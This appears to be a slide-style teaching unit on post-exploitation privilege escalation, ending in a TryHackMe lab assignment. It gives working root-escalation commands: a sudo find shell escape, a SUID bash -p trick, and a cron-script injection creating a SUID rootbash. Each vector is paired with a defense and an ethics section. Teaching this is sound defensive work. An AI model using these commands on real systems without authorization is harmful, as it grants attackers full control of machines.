

Privilege Escalation

Unit 15 — Module 4: Post-Exploitation (Linux & Windows basics)

Getting a shell is just the beginning. Most footholds are **low-privilege** — now we go from a normal user to **root**.

Learning Objectives

By the end of this unit you can:

- **Define** post-exploitation and privilege escalation, and tell a low-priv user from root/admin.
- **Explain** why **enumeration** is the single most important privesc skill.
- **Run** core Linux enum commands (`id`, `whoami`, `sudo -l`, SUID `find`) and interpret them.
- **Identify & exploit** Linux vectors: **sudo misconfig**, **SUID**, **cron jobs**, **weak permissions**.
- **Describe** kernel exploits (awareness) and use **LinPEAS** responsibly.
- **Describe** Windows privesc basics: **unquoted service paths**, **WinPEAS** (concept).
- **Recommend** layered defenses: **least privilege**, **patching**, **hardening**.

You got a shell. Now what?

You land on a machine as user `bob`. `bob` can't read the password file or install software.

Term	Meaning
Post-exploitation	Everything you do <i>after</i> getting access
Privilege escalation	low-priv user → more powerful account
Low-privilege user	limited rights, can't touch system settings
Root	the all-powerful account on Linux
Administrator / SYSTEM	the most powerful accounts on Windows

3

A foothold is **not** owning the box. Privesc is a second, separate fight.

Enumeration is the secret weapon

The win is almost never a fancy exploit — it's **finding the misconfiguration the owner left behind**.

The three first questions after you land:

```
whoami      # who am I?  
id          # what groups / uid?  
sudo -l     # what can I run as another user (often root)?
```

Privesc is won by *looking carefully*, not by magic. Who am I? What can I run? What's unusual here?

Vector 1 — sudo misconfigurations

`sudo -l` shows what you can run as another user. Look for `NOPASSWD`:

```
(root) NOPASSWD: /usr/bin/find
```

- If you can run even a "harmless" program as root, it may let you **break out** to a root shell.
- Look it up on **GTFOBins** — a site listing how common binaries can be abused.

```
sudo find . -exec /bin/sh \; -quit      # GTFOBins pattern → root shell
id                                       # confirm uid=0
```

5

Vector 2 — SUID binaries

A **SUID binary** runs with its *owner's* privileges (often root), no matter who launches it.

```
find / -perm -4000 -type f 2>/dev/null      # list SUID programs
```

- Check each on **GTFOBins** for a **SUID** method.
- A SUID shell needs `-p` to keep the privileges:

```
/path/bash -p  
id                      # euid=0
```

6

Curriculum by AJ Hammond — PNPT, CRTO, OSCP, BSCP
`sudo` and the SUID `find` are the two muscle-memory commands of this unit.

Vector 3 — cron jobs

A **cron job** is a task Linux runs automatically on a schedule.

```
cat /etc/crontab  
ls -la /etc/cron.d/ 2>/dev/null
```

If root runs a script **you can write to**, you can make root run *your* code:

```
ls -la /path/to/scheduled-script.sh          # can you write it?  
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' >> /path/to/scheduled-script.sh  
# wait for the cron interval...  
/tmp/rootbash -p
```

7

Vector 4 — weak / world-writable files

- **World-writable** = a file anyone can modify — dangerous if root later uses it.
- **Readable sensitive files** = a backup, config, or key that leaks a password.

```
ls -la /path/to/file          # check the rwx permissions (Unit 04!)
```

Find files you shouldn't be able to write, or that you shouldn't be able to read.
Either can be a path to root.

Kernel exploits (awareness only)

A **kernel exploit** attacks the core of the OS itself.

- Can grant **instant root**...
- ...but can **crash** the whole box.
- Usually a **last resort** — and the reason **patching** matters.

Prefer a quiet misconfiguration over a risky kernel exploit. This is awareness-level — we are not doing kernel exploit dev.

Enumeration helper: LinPEAS

```
./linpeas.sh | tee linpeas-output.txt
```

- Auto-scans and **color-codes** likely privesc paths (red/yellow = hot).
- It **finds** candidates — it does **not** think for you.
- You still verify, decide, and understand the manual checks.

Reproduce at least one LinPEAS finding **by hand**, so you don't graduate as "just a tool runner." (WinPEAS is the Windows equivalent.)

Windows privesc (basics / awareness)

Same idea as Linux: normal user → **Administrator / SYSTEM**, driven by misconfigurations.

- **Unquoted service path** — a service path with spaces lets an attacker slip in their own program.
- **WinPEAS** — the Windows version of LinPEAS.

Deep Windows / Active Directory attacks are **out of scope** this unit. We're just seeing the concept.



Defenses: attack by attack

Vector	Defense	Why it works
sudo misconfig	least privilege	remove broad/NOPASSWD grants
SUID binary	hardening (<code>chmod u-s</code>)	strip SUID from binaries that don't need it
cron + weak perms	hardening	fix file perms; only root writes root's scripts
kernel exploit	patching	keep kernel & packages current

Least privilege + hardening + patching. Every vector you exploit must be paired with the fix that removes it.

Ethics & Authorization

Privesc is the moment you go from "I'm in" to "I own everything." On a real system that's the line between an incident and a **catastrophic breach**.

Escalate **only** on **authorized TryHackMe rooms** or the **isolated class lab** — never a real machine, even if you "only looked." That's a serious crime under the **CFAA**.

Never point LinPEAS, `find`, or any technique at a machine outside scope.

Key vocabulary

Term	Meaning
Post-exploitation	what you do after getting access
Privilege escalation	limited account → more powerful one
Root / Administrator / SYSTEM	the all-powerful accounts
Enumeration	systematically finding weaknesses on a box
<code>sudo -l</code> / SUID	what you can run as root / runs as owner
Cron job	scheduled task; hijackable if misconfigured
World-writable	anyone can modify it — dangerous
LinPEAS / WinPEAS	scripts that scan for privesc paths
Least privilege / Hardening	only needed access / tighten the config



Lab launch

Platform: TryHackMe Linux PrivEsc room, from the **AttackBox** or **Kali** (optional basic Windows room for awareness).

Your mission:

1. Get the low-priv shell; confirm with `whoami` / `id`.
2. Enumerate: `sudo -l`, SUID `find`, crontab.
3. Look up leads on **GTFOBins**; exploit **at least two** vectors to **root** (`uid=0`).
4. Run **LinPEAS** and match a finding to your manual work.
5. Document the **full path** + a **defense** for each vector.

Read the safety reminder aloud first. Every command runs on the **target box** in the authorized lab only.

Recap

- A foothold is low-priv; **privesc is a separate fight.**
- **Enumeration** wins — not a magic exploit.
- Linux vectors: **sudo misconfig, SUID, cron, weak permissions** (+ kernel awareness).
- **GTFOBins** = look it up, don't memorize.
- **LinPEAS** finds; the **human** decides.
- Windows: same idea, awareness-level (unquoted service paths, WinPEAS).
- Defenses: **least privilege, hardening, patching.**

Exit ticket & discussion

Exit ticket: "The misconfig that surprised me most was ___ because ___."

Discussion: Why is **enumeration**, not exploitation, the heart of privilege escalation? And: a tester *could* escalate root on a server **outside the agreed scope** — what should they do, and why doesn't "but I could have" make it okay?